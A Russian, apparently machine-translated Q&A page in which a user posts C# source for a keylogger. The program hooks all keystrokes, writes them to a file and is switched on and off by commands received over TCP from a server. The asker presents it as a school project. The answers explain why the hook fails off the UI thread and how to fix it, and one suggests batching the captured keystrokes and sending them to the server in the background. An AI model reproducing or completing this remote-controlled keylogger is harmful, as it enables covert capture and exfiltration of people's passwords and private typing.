Библиотека работает при вызове в Form1, но не откуда-либо еще - PullRequest
0 голосов
/ 16 июля 2011

У меня есть эта библиотека http://www.codeproject.com/KB/cs/globalhook.aspx
Я скачал ее и скомпилировал в DLL.
Сначала у меня возникла странная проблема: она не работала в моем проекте, но она работала (вточно такой же код) работал в демонстрационном проекте, но это было исправлено путем применения следующего сообщения:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Примечание: я работаю с .NET 4, VS 2010 Ultimate
Хорошо,У меня есть файл Form1.cs, который является моей основной формой для моего приложения.
У меня есть другие файлы: Client.cs, Script.cs, Keylogger.cs - нет, это не злой кейлоггер - это для школьной презентациио безопасности \ антивирусах и т. д.
Keylogger.cs имеет один статический класс, и вот код:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }

    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}

Класс Client не является статическим - он управляет TCP-соединениями с сервером,и отправить все полученные данные в Script.RunScript (строка scr) (статический метод).
Хорошо, Script.RunScript должен вызвать Keylogger.Start (расположение строки) для некоторого ввода (STARTLOGGING c: \ log.txt)
И вызвать Keylogger.Stop () для некоторого ввода (STOPLOGGING)
Ну, все хорошо, он запускает Start, но он не работает.
Он выполняет весь процесс (таймер, событие, потоковая запись и т. Д.), Но когда я что-то нажимаю - весь компьютер зависает на парусекунд и ничего не произошло (это даже не вызывает KeyPress) - это происходит только в первый раз.в любое другое время - он просто игнорирует мое нажатие клавиши.
СМЕШНОЕ ВЕЩЕСТВО - если я вызываю Start из моей основной формы (в ctor, при событии нажатия кнопки) - ЭТО РАБОТАЕТ!без задержки.
Я пробовал разные события (MouseDoubleClick, MouseMove), и у всех была одна и та же проблема.
Спасибо, Марк!

Ответы [ 2 ]

3 голосов
/ 16 июля 2011

Задержка, после которой пользовательский интерфейс снова начинает реагировать, является сильным признаком основной причины проблемы. Вы видите, как Windows лечит себя, замечая, что обратный вызов не отвечает. Это автоматически отключает крючок.

Жесткое требование, которое вы, вероятно, нарушаете, заключается в том, что вызов SetWindowsHookEx () должен выполняться из потока, который прокачивает цикл сообщений. Так что Windows может взломать нажатие клавиши и вызвать обратный вызов. Это прекрасно работает, когда вы вызываете метод Start () одним нажатием кнопки, событие Click запускается в потоке пользовательского интерфейса вашей программы.

Но, вероятно, не , когда вы делаете этот вызов из сетевого события. Они имеют тенденцию работать в потоке потоков. Из вашего фрагмента не ясно, вы не опубликовали код. Общее решение такой проблемы - использование Control.BeginInvoke () для перенаправления вызова из рабочего потока в поток пользовательского интерфейса. Хорошее описание вы найдете в статье библиотеки MSDN, а также множество ответов здесь на stackoverflow.com

Кстати, оригинальный код был поврежден из-за изменения поведения в .NET 4 версии CLR. Он больше не подделывает родной модуль для сборок. Обходной путь достаточно хорош, ему нужен только действительный дескриптор модуля. Фактический не имеет значения, поскольку это не глобальный хук.

0 голосов
/ 16 июля 2011

Я думаю, что вам лучше всего не писать в сеть о событиях пользовательского интерфейса, а вместо этого сделать так, чтобы ваш регистратор записывал в локальный файл или базу данных в памяти или аналогичную систему, а затем иметь таймер, который периодически записывает содержимое этого сообщения на сервер. Таким образом, вы можете отправлять более объемные сообщения на сервер (повышая производительность на обеих машинах), а также иметь возможность выполнять сетевой вызов в фоновом потоке, что делает интерфейс пользователя более быстрым.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...